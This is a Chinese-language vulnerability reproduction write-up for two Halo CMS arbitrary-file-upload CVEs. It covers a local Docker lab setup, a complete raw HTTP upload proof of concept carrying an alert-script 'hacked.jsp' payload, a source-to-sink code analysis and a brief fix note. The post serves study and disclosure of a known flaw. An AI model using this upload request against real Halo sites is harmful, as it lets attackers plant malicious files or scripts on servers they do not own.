当前位置: 首页 > news >正文

【漏洞复现】CVE-2022-26619 CVE-2022-32994 Arbitrary File Upload

漏洞信息

NVD - CVE-2022-26619

Halo Blog CMS v1.4.17 was discovered to allow attackers to upload arbitrary files via the Attachment Upload function.

NVD - CVE-2022-32994

Halo CMS v1.5.3 was discovered to contain an arbitrary file upload vulnerability via the component /api/admin/attachments/upload.

背景介绍

Halo is an open-source, self-hosted blog platform built with Java. It is designed to be simple, fast, and flexible, allowing users to create and manage blogs with ease. Halo offers a clean and modern user interface, supports Markdown for writing posts, and provides various customization options such as themes and plugins.

• 主页:https://www.halo.run/

• 源码:https://github.com/halo-dev/halo

环境搭建

$ docker pull swimminghao/halo:1.5.3
$ docker run -d \-p 8090:8090 \swimminghao/halo:1.5.3

先访问http://127.0.0.1:8090/会直接跳转到安装向导,按照提示完成安装:

Web UI: http://127.0.0.1:8090/admin/index.html#/login

账号密码:admin / 88888888

漏洞复现

文件上传漏洞所以先准备好上传的脚本:

$ touch hacked.jsp
$ echo "<script>alert(\"You are hacked\!\")</script>" > hacked.jsp

这是个简单的js脚本,打开就可以弹窗测试是否被javascript解析:
在这里插入图片描述

两个漏洞差不多,只是前端API不一样:

CVE-2022-26619:附件→上传,上传附件

CVE-2022-32994:外观→主题设置→样式设置,上传文件

在这里插入图片描述

抓包信息如下,发包后可以得到回显PATH:

在这里插入图片描述

POC:

POST /api/admin/attachments/upload HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Admin-Authorization: 8fb5b0e9619e4f1b87202985e6916c6b
Content-Type: multipart/form-data; boundary=---------------------------173360575825736325452909371224
Content-Length: 279
Origin: http://127.0.0.1:8090
Connection: keep-alive
Referer: http://127.0.0.1:8090/admin/index.html
Cookie: JSESSIONID=node01ntfyvfpqwkqs1hd6cxvgk8qmy1.node0-----------------------------173360575825736325452909371224
Content-Disposition: form-data; name="file"; filename="hacked.jsp"
Content-Type: application/octet-stream<script>alert("You are hacked\!")</script>-----------------------------173360575825736325452909371224--

按照回显的PATH能够访问文件,而且文件被javascript前端解析:

在这里插入图片描述

漏洞分析

source位于run.halo.app.controller.admin.api.AttachmentController#uploadAttachment,通过POST请求:
在这里插入图片描述

sink位于run.halo.app.service.impl.AttachmentServiceImpl#create:

在这里插入图片描述

污点从source到达sink之前,仅仅经历了一个Assert.notNull过滤确保文件不为空,在run.halo.app.service.impl.AttachmentServiceImpl#upload中:

在这里插入图片描述

修复方案

对上传的Attachment对象进行全面的安全检查。


http://www.mrgr.cn/news/79901.html

相关文章:

  • Spring Boot 3.0与Jakarta EE 10的深度解析
  • 如何迅速成为一个领域的专家?
  • 深入理解 Apache Shiro:安全框架全解析
  • react native StatusBar小记
  • Linux系统的内核、根文件系统、Bootloader之间的关系是怎么样的?并附根文件系统的详细解释。
  • C语言:main函数
  • 多发电站实现光伏发电预测的统一管理模式
  • CSDN原力值说明
  • mac 安装CosyVoice (cpu版本)
  • 通用定时器之输出比较的功能
  • 0001.简易酒店管理系统后台
  • MOTR: End-to-End Multiple-Object Tracking with Transformer
  • PyQt5入门(四)--------下拉选择框控件(comboBox)
  • 【Neo4J】neo4j docker容器下的备份与恢复
  • 微信小程序web-view 嵌套h5界面 实现文件预览效果
  • 餐饮平台数仓建模案例
  • Spann3R:基于DUSt3R的密集捕获数据增量式重建方法
  • day11 性能测试(4)——Jmeter使用(黑马的完结,课程不全)直连数据库+逻辑控制器+定时器
  • 分布式事物XA、BASE、TCC、SAGA、AT
  • 解决 MyBatis 中空字符串与数字比较引发的条件判断错误
  • ubuntu 安装 docker详细教程
  • 第十九章程序清单合集——Java语言程序设计进阶篇(黑皮书)
  • 机器学习02-发展历史补充
  • 负载均衡策略:L(P)策略;L(Max) ;L(LDS)
  • [游戏开发] Unity中使用FlatBuffer
  • C语言:指针详解续